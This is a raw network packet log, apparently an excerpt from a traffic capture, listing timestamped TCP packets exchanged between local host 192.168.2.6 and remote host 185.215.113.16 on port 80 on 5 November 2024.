Nov 5, 2024 20:52:09.125533104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125561953 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125566006 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125618935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125646114 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125650883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125701904 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125730991 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125737906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125776052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125804901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125811100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125844955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125870943 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125878096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125912905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125941038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.125946999 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.125979900 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126005888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.126013994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126048088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126070976 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.126080036 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126113892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126137018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.126147985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126182079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126209974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.126215935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126249075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126277924 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.126286983 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126317024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.126343966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.127952099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158142090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158216000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158402920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158457994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158503056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158521891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158555984 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158554077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158585072 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158627033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158654928 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158659935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158684969 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158696890 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158751965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158777952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158803940 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158837080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158849955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158873081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158922911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.158947945 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.158956051 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159008026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159030914 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159041882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159076929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159102917 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159131050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159162045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159193993 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159214973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159249067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159276009 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159281969 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159349918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159374952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159383059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159436941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159461975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159470081 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159503937 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159528971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159537077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159570932 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159595013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159622908 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159657955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159679890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159689903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159724951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159737110 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159758091 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159790993 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159806013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159806013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159825087 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159863949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159895897 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159923077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159933090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159965992 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.159992933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.159998894 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160032988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160057068 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160065889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160119057 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160140038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160151958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160183907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160207033 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160218954 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160269976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160294056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160304070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160337925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160361052 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160371065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160422087 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160445929 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160455942 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160489082 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160514116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160527945 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160559893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160583973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160593033 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160628080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160650969 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160660982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160695076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160722971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160727978 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160763025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160788059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.160795927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160832882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.160855055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.166877985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.240922928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.240961075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.240997076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241739035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241771936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241785049 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.241807938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241836071 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.241858959 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241915941 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.241945028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.241966963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242002964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242033958 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242036104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242069960 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242100000 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242103100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242151976 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242182970 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242185116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242219925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242247105 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242254972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242292881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242320061 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242454052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242501974 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242528915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242552996 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242587090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242613077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242625952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242659092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242685080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242691994 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242726088 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242750883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242758989 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242791891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242815971 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242825985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242860079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242883921 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242892027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242916107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242925882 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242960930 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.242985964 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.242993116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243026972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243052006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243063927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243096113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243118048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243129969 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243159056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243185043 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243191957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243242979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243268013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243274927 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243310928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243350029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243359089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243392944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243417978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243424892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243458986 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243484974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243491888 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243525028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243546963 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243556023 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243591070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243617058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243623972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243658066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243684053 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243690014 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243729115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243748903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243762016 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243793964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243809938 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243824005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243858099 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243885994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243896008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243928909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.243957043 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.243961096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244002104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244031906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.244384050 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.244405985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244440079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244472027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244504929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244533062 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.244533062 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.244544983 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.244574070 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.244688988 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275468111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275505066 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275559902 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275602102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275633097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275664091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275667906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275686026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275702953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275734901 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275758982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275794029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275826931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275844097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275880098 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275907040 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275914907 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275949955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.275974989 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.275998116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276031971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276057959 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276065111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276099920 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276125908 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276133060 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276168108 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276192904 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276200056 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276233912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276257038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276268005 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276380062 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276406050 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276429892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276483059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276510954 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276515961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276550055 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276578903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276582956 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276621103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276645899 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276673079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276705980 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276729107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276737928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276771069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276796103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276819944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276873112 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276899099 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276906013 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276940107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.276964903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.276973009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277007103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277033091 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277061939 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277095079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277120113 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277127981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277160883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277187109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277198076 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277232885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277256012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277266026 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277299881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277323961 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277333021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277367115 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277390957 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277400017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277435064 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277458906 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277467966 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277501106 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277527094 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277534008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277568102 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277587891 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277652025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277683973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277712107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277719021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277769089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277792931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277801037 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277843952 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277869940 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277896881 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277930021 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277955055 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.277962923 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.277997017 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278026104 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.278034925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278069019 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.278094053 CET	50011	80	192.168.2.6	185.215.113.16
